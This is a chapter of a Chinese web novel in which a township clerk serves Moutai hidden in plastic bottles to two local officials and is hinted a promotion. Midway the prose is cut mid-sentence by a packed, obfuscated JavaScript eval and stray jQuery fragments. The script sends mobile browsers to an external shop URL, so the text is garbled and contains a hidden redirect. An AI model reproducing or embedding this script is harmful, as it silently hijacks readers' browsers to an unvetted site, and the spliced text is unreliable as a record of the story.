叶舟伸手捏着塑料瓶瓶盖，指尖稍微用了点劲。
“刺啦——”
轻微一声响，在安安静静的小包间里格外清楚。
瓶口刚裂开一道缝，一股子气先窜出来，慢悠悠往四下飘。叶舟没急着全开，顿了半秒，才慢慢把瓶盖拧下来。
下一瞬，醇厚厚重的酱香猛地扑出来，裹着热气，瞬间填满整个屋子。不冲鼻，却沉得很，稳稳压过桌上所有菜味。
原本端着酒杯、身子松垮靠着椅背的曹主任，手腕猛地一僵，酒杯悬在半空，动都不动了。他下意识抽了抽鼻子，眉头轻轻挑了一下，眼底瞬间亮了。一辈子喝酒，镇上几块钱一斤的散白、作坊粮酒，他闭着眼都能闻出来。可这味道不一样，绵、厚、正，带着一股根本不是土酒能有的底气。他飞快侧头瞟了沈副镇长一眼，又飞快收回目光，嘴唇抿着，一声不吭，心里早翻起了波澜：这小子……搞的什么名堂？
主位上的沈副镇长，原本脸上只是挂着淡淡的客套笑意，没把桌上两个塑料瓶当回事。可酒香一飘过来，他原本松弛的肩线瞬间绷紧。眼皮微微一抬，身子不自觉往前欠了欠，鼻尖轻轻吸了一下。那点漫不经心的笑意，一点点从脸上褪干净了。他盯着那只普通得不能再普通的塑料瓶，看了两秒，才缓缓开口，语气带着点意外。
“叶舟，你这是……藏得够深啊。”
叶舟站在桌边，手心其实有点冒汗，指尖微微发紧，看着淡定，心里慌得很。他没敢接话耍嘴皮子，只老实低头，拿起瓶子先倒酒。
琥珀色的酒液缓缓落进玻璃杯，细细一线，落底稳，挂杯厚，细碎酒花密密麻麻浮上来，半天不散。灯光照着，透着温润的亮色。他先给沈副镇长倒满，又给曹主任添上，最后才给自己浅浅倒了一杯。
做完这些，他才端起杯子，腰板绷得笔直，语气有点紧绷，带着点嘴笨的实在。
“沈镇长、曹主任……今晚麻烦两位抽空过来，我心里真的感激。”
他顿了顿，一时不知道怎么说漂亮话，干脆老实兜底。
“我嘴笨，不会说啥好听的。这几年在镇里，全靠两位照顾、提点。啥都不说了，我干了。”
话音落，他仰头一口闷。烈酒直冲喉咙，他喉结狠狠滚了两下，硬生生压下灼烧感。一杯酒见底，耳根、脸颊瞬间爆红，连脖颈都泛着热意。
“实在。”沈副镇长笑了，眼底的欣赏藏不住，抬手端杯，侧头看向曹主任，“老曹，陪我走一个。”
两人轻轻碰杯，一同饮尽。
曹主任放下杯子，下意识咂了下嘴，舌尖来回蹭了蹭牙床，忍不住开口，语气带着点不敢置信的试探：“小叶，说实话……你这酒，是茅台吧？”
这话一出，包间里静了一瞬。沈副镇长没应声，只端着空杯，凑近鼻尖又轻嗅了一口残留的香气，嘴角悄悄扬起来，眼神里了然又温和。
叶舟坐回椅子上，抬手悄悄蹭了蹭手心的汗，语气老老实实，带着点局促。
“是。确实是茅台。”
他怕领导多想，赶紧跟着补了一堆碎碎的解释，有点语无伦次，全是临场心里话。
“我、我托人捎了两瓶茅台。可正常瓶装太扎眼了！三百多一瓶，镇上太小了，一点风吹草动所有人都知道。”
“我就寻思……换两个普通塑料瓶装着。看着寒酸是寒酸点，但不惹闲话。我主要是怕，我年轻不懂事，搞得太张扬，回头反倒给两位领导添麻烦。”
“要是我这法子笨了、失礼了，两位千万别往心里去，我真是这么想的……”
越说越局促，他下意识低头看了眼自己杯底的残酒，手指轻轻摩挲杯壁，有点紧张。
曹主任看着他这副老实慌张、不会耍滑的模样，心里那点仅剩的疑虑彻底散干净了，忍不住暗自点头。先前看见塑料瓶，他心里还咯噔一下：这孩子今晚怎么这么不懂规矩？拿散白酒糊弄领导？现在全懂了。不是抠，不是不懂事，是太稳、太会藏。
曹主任端杯又抿了小口，慢悠悠咽下去，脸上皱纹都松快了，什么也没说，只轻轻点头。
沈副镇长指尖轻轻转着空酒杯，目光落在叶舟略显局促的脸上，看了好一会儿，才转头对曹主任缓缓开口，语气慢悠悠的，很家常。
“老曹，你马上就要退二线了。镇里年轻人一批一批的，能沉得住气、懂分寸、还踏实肯干的，真不多。”
曹主任立刻接话，笑着打圆场，语气随和：“是啊，这孩子就是太老实，不会抢风头。一直都能干，就是缺个机会。”
沈副镇长微微颔首，目光落回叶舟身上。叶舟立马坐直，双手搭在桌沿，不敢乱动，眼神定定等着下文，心里怦怦直跳。
“行。”沈副镇长语气很轻，却笃定，“以后民政这边的事，你多带他上手。大大小小的活儿，让他多跑跑、多历练。”
就这一句话，叶舟心里猛地一震，胸口骤然一热。他脑子瞬间有点空白，想说谢谢，又怕话说轻了，愣了半秒，才仓促开口，声音都微微发紧。
“谢谢领导！我、我一定好好干，绝对不给您添麻烦，绝不掉链子！”
语气有点急，甚至略显笨拙，却格外真诚。
气氛彻底松快下来。桌上菜早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635665|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
凉透了，没人顾得上吃。三人一杯接一杯碰酒，闲聊的话也越来越碎、越来越家常。
沈副镇长随口问，都是接地气的小事。“养老院施工顺不顺利？赵铁柱那伙工人踏实不？有没有偷懒耍滑的情况？”“入冬之前彻底完工，能不能保证？”
叶舟一一老实回话，不夸大、不遮掩，有啥说啥，回答得朴实简短。曹主任偶尔插两句，都是恰到好处的帮衬，不多抢话，只轻轻兜底。
酒过三巡，两瓶酒见了底。沈副镇长脸上透出淡淡的酒红，眼神松弛，说话也比平时放开不少。他指尖随意在桌面上划了两下，语气随意却分量极重。
“养老院这个民生工程，是年底的重点脸面。你给我盯死了，一点岔子都不能出。春节慰问之前，必须干干净净、漂漂亮亮收尾。”
叶舟连忙点头，认认真真应着：“我天天都去盯着，工人施工、用料、进度，我都看着呢，肯定按时弄好。”
沈副镇长看着他，沉默两秒，缓缓吐出一句。
“年底最后一次党委会，我牵头提。民政办副主任、副科的位置，该定人了。”
轰的一下。
叶舟整个人直接懵住。脑子瞬间一片空白，嘴巴微张，那句道谢的话死死卡在喉咙里，怎么都吐不出来。他双手僵在桌上，酒杯悬在半空，一动不动，眼神都直了。
就在他失神的瞬间，桌底下，曹主任脚尖轻轻、快速踢了他小腿一下。力道很轻，不显眼，只有两人能察觉到。是提醒，是托举，是悄悄递台阶。
叶舟猛地回神，慌里慌张站起身，椅子腿在地面擦出刺耳的声响。
“谢谢领导信任！我、我一定拼尽全力，绝对不辜负您的看重！”
太过仓促，甚至有点失态，却偏偏是最真实、最接地气的反应。
沈副镇长被他这老实慌张的样子逗笑了，抬手虚压了压。“行了行了，坐下吧，别紧张。好好干活就行。”
散席出门。夜里风很凉，一阵一阵刮过来，带着深冬的冷意。叶舟送走两位领导，看着他们的背影一先一后消失在路灯那头，才转过身来。他扶着自行车站了一会儿，风灌进领口，凉丝丝的。他搓了搓脸，又长长吐出一口气，酒气散了大半，脑子也清明了些。
他跨上车，蹬了一脚。车轮碾过路面，链条嘎吱嘎吱响。路灯一杆一杆从头顶滑过去，光一段一段地落在他身上。他骑得不快，胸口那团热气还窝着，没散，但也不像刚才那么冲了。他想的是那几句话——年底，党委会，副科，副主任。
脚下的路还长，夜风还在吹。他压了压心跳，往家的方向骑去。